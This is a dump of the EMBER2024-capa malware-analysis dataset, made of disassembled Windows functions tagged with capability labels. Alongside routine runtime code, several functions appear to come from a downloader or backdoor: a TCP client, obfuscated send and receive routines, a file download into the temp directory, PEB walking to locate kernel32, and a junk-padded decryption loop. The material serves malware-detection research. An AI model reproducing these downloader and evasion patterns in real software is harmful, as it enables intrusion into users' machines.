joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403923
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403a4f
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403a40
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00408090
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00408090
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x418e30
mov ebx, edi
cmp word [ebx], 0
je 0x4039d5
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004045ef
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404572
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x4193a8
jl 0x4039a7
cmp word [edi], 0
je 0x4039fb
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00404231
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4193a8
jl 0x4039e3
push 0x419bc0
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00404572
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403a3a
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404563
leave
ret

Function at 0x403c84
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403ca6
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cce
xor eax, eax
jmp 0x403d60
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403cc7
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d0e
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403d4f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d4f
xor ebx, ebx
inc ebx
jmp 0x403d5e
mov eax, dword [esi]
test eax, eax
je 0x403d5e
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.00404563
leave
ret
Function at 0x403e99
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403f16
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403ec0
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403eb4
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040587f
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x418074
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408c50
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403f19
cmp eax, dword [ebp - 4]
jne 0x403f19
mov dword [ebp - 8], 1
jmp 0x403f19
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403f24
push ebx
call fcn.00405c4a
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4040bd
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4040fb
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404219
cmp edi, ebx
je 0x404219
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00408090
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404219
cmp eax, ebx
je 0x404219
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.0040587f
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x404204
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4041e2
test eax, eax
je 0x4041e2
add ebx, eax
cmp edi, ebx
jg 0x40416a
push 5
pop ecx
cmp ebx, ecx
jl 0x404204
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x418074
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404204
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x4041c2
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4041bc
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4041ea
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00408c50
mov dword [esi], ebx
jmp 0x4041f7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404204
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00408c50
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404219
push dword [ebp - 0x860]
call fcn.00405c4a
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404563
add ebp, 0x70
leave
ret
Function at 0x404231
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00408090
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.004045ef
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404282
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x4199c0
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4042a8
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.0040522c
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00408090
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00408090
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00408090
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403c84
pop ecx
test eax, eax
je 0x404437
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403d6d
add esp, 0xc
test eax, eax
je 0x404437
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403f2a
pop ecx
pop ecx
test eax, eax
je 0x404437
cmp word [ebp - 0xe14], si
jne 0x404437
cmp dword [ebp - 0xe24], 0
je 0x404437
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x404437
push 0x419bc0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404572
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x414ff4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.004048c4
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x40442d
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.00404476
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x40444c
push dword [ebp - 0xe1c]
call fcn.004052f6
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x404461
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404563
leave
ret
Function at 0x404476
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.0040ebb0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x4044bc
xor eax, eax
jmp 0x404504
cmp dword [ebp - 0x78], ebx
jbe 0x4044f3
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x4044f3
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00404e29
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x4044c1
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00404c4b
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404563
add ebp, 0xf90
leave
ret

Function at 0x404563
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41704c]
jne 0x40456d
repz ret
jmp fcn.00405ee8
Function at 0x40efc1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409d16
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f072
push 0x413b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f123
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b84
push edi
call esi
test eax, eax
je 0x40f123
push eax
call fcn.00409ca4
mov dword [esp], 0x413b74
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.00409ca4
mov dword [esp], 0x413b60
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.00409ca4
mov dword [esp], 0x413b44
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.00409ca4
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f072
push 0x413b2c
push edi
call esi
push eax
call fcn.00409ca4
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f0ca
cmp dword [0x418b3c], ebx
je 0x40f0ca
push eax
call fcn.00409d1f
push dword [0x418b3c]
mov esi, eax
call fcn.00409d1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f0ca
test edi, edi
je 0x40f0ca
call esi
test eax, eax
je 0x40f0c1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f0c1
test byte [ebp - 0xc], 1
jne 0x40f0ca
or dword [ebp + 0x10], 0x200000
jmp 0x40f103
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f103
push eax
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f103
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f103
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f103
push eax
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f103
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f123
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f125
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40688e
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40689c
call 0x8566863
mov al, byte [0x8b640041]
cmp eax, 0x30
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x446630], eax
sub eax, eax
je 0x4068c1
jmp 0xa8cf5132
call 0x401154
call 0x406651
pop edi
xor eax, eax
pop esi
ret

Function at 0x407515
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407554
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407554
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407554
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407554
cmp dword [ecx + 0x74], 0xe
jbe 0x407554
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d5eb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2c8
push 0x41c2c0
push str.FlsAlloc
push 0x1e
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d61f
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
jmp 0x40d625
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d669
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2d8
push 0x41c2d0
push str.FlsGetValue
push 0x20
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d6a0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40b53e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x8225f8]
jne 0x40b548
repz ret
jmp fcn.0040dfbb

Function at 0x40ca73
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x8225f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004080fd
and dword [ebp - 0x14], 0
cmp dword [0x826718], 0
mov dword [ebp - 0x18], eax
jne 0x40cb26
push 0x4023d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40cbce
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4023c8
push ebx
call edi
test eax, eax
je 0x40cbce
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4023b8
push ebx
mov dword [0x826718], eax
call edi
push eax
call esi
push 0x4023a4
push ebx
mov dword [0x82671c], eax
call edi
push eax
call esi
push 0x402388
push ebx
mov dword [0x826720], eax
call edi
push eax
call esi
mov dword [0x826728], eax
test eax, eax
je 0x40cb26
push 0x402370
push ebx
call edi
push eax
call esi
mov dword [0x826724], eax
mov eax, dword [0x826724]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40cb7f
cmp dword [0x826728], ecx
je 0x40cb7f
push eax
call esi
push dword [0x826728]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40cb7f
test ebx, ebx
je 0x40cb7f
call edi
test eax, eax
je 0x40cb76
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40cb76
test byte [ebp - 8], 1
jne 0x40cb7f
or dword [ebp + 0x10], 0x200000
jmp 0x40cbb2
mov eax, dword [0x82671c]
cmp eax, dword [ebp - 0x18]
je 0x40cbb2
push eax
call esi
test eax, eax
je 0x40cbb2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40cbb2
mov eax, dword [0x826720]
cmp eax, dword [ebp - 0x18]
je 0x40cbb2
push eax
call esi
test eax, eax
je 0x40cbb2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x826718]
call esi
test eax, eax
je 0x40cbce
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40cbd0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b53e
leave
ret
Function at 0x809480
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1020
call fcn.0040df90
cmp dword [0x2975aa4], 0x37
jne 0x809548
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403454
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov eax, dword [esp]
push 0
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push 0
lea ecx, [esp + 0x424]
push ecx
push 0x403460
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x824]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 4]
push eax
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [esp + 8]
push edx
push 0x4034b8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea eax, [esp + 0x20]
push eax
push 0
push 0x4034c0
push 0x4034d0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x403520
push 0x403580
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ecx, dword [0x2975aa8]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x82b834]
mov byte [ecx + esi], al
add esp, 0x1020
ret
Function at 0x809570
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
mov edx, dword [0x823364]
push ebx
push ebp
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x823360]
mov dword [esp + 0x24], edx
mov edx, dword [0x82336c]
mov dword [esp + 0x20], eax
mov eax, dword [0x823368]
mov dword [esp + 0x1c], edx
mov edx, dword [0x2975aa4]
push edi
mov dword [esp + 0x14], ecx
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0x20
jmp 0x8095c4
mov ecx, dword [esp + 0x14]
mov eax, ecx
shl eax, 4
add eax, dword [esp + 0x1c]
lea edi, [ecx + ebp]
shr ecx, 5
mov dword [esp + 0x10], eax
mov ebx, ecx
cmp edx, 0x1b
jne 0x8095f1
push 0
push 0
push 0x403440
call dword [sym.imp.ADVAPI32.dll_IsTextUnicode]
mov eax, dword [esp + 0x10]
add ebx, dword [esp + 0x20]
mov dword [0x296ba54], 0
xor ebx, edi
xor ebx, eax
sub esi, ebx
mov edx, esi
shl edx, 4
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x24]
add dword [esp + 0x10], eax
cmp dword [0x2975aa4], 0x1be
lea edi, [esi + ebp]
jne 0x809636
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, esi
shr ecx, 5
add ecx, dword [esp + 0x28]
mov dword [0x296ba58], 0xff6b3619
xor ecx, edi
xor dword [esp + 0x10], ecx
mov dword [0x296ba5c], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
mov edx, dword [0x2975aa4]
cmp edx, 0x93
je 0x809675
add ebp, 0x61c88647
dec dword [esp + 0x18]
jne 0x8095c0
cmp edx, 0x8d4
jne 0x8096a9
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
mov eax, dword [esp + 0x78]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x64
ret 4

Function at 0x809720
Capabilities:
Manipulate console buffer

Disassembly:
push ecx
mov eax, dword [0x2975aa4]
shr eax, 3
push esi
mov esi, dword [0x82b834]
test eax, eax
je 0x809764
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push edi
mov edi, eax
mov edi, edi
cmp dword [0x2975aa4], 0x1c
jne 0x809756
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
call ebx
push esi
call fcn.00809570
add esi, 8
dec edi
jne 0x809740
pop edi
pop ebx
pop esi
pop ecx
ret
Function at 0x401040
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x40
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
xor esi, esi
push eax
xor ebp, ebp
xor edi, edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
test ebx, ebx
je 0x40114c
cmp dword [esp + 0x14], 6
jl 0x401145
mov ecx, dword [ebx + 4]
push ecx
call entry0
mov edx, dword [ebx + 8]
mov ebp, eax
push edx
call entry0
mov dword [esp + 0x28], eax
mov eax, dword [ebx + 0xc]
push eax
call entry0
mov ecx, dword [ebx + 0x10]
mov dword [esp + 0x30], eax
push ecx
call entry0
mov edx, dword [ebx + 0x14]
mov dword [esp + 0x28], eax
push edx
call entry0
mov dword [esp + 0x30], eax
mov al, byte [ebp]
add esp, 0x14
cmp al, 0x40
jne 0x4010f9
lea edi, [ebp + 1]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x28], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [esp + 0x14], 7
jl 0x401112
mov ecx, dword [ebx + 0x18]
push ecx
call entry0
add esp, 4
mov dword [esp + 0x10], eax
jmp 0x40111a
mov dword [esp + 0x10], 0x406030
cmp dword [esp + 0x14], 8
jl 0x40113f
mov edx, dword [ebx + 0x1c]
push edx
call entry0
mov edi, eax
push edi
call fcn.004013ac
push edi
mov esi, eax
call fcn.004012b8
add esp, 0xc
jmp 0x401141
xor esi, esi
mov edi, dword [esp + 0x20]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], esi
call sub.gamebbx.dll_Ordinal_10
test ebp, ebp
je 0x40119f
push ebp
call fcn.004012b8
add esp, 4
test edi, edi
je 0x4011ac
push edi
call fcn.004012b8
add esp, 4
test ebx, ebx
je 0x4011b9
push ebx
call fcn.004012b8
add esp, 4
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x4011ce
push eax
call fcn.004012b8
add esp, 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4011df
push eax
call fcn.004012b8
add esp, 4
mov eax, dword [esp]
test eax, eax
je 0x4011f0
push eax
call fcn.004012b8
add esp, 4
xor eax, eax
add esp, 0x40
ret 0x10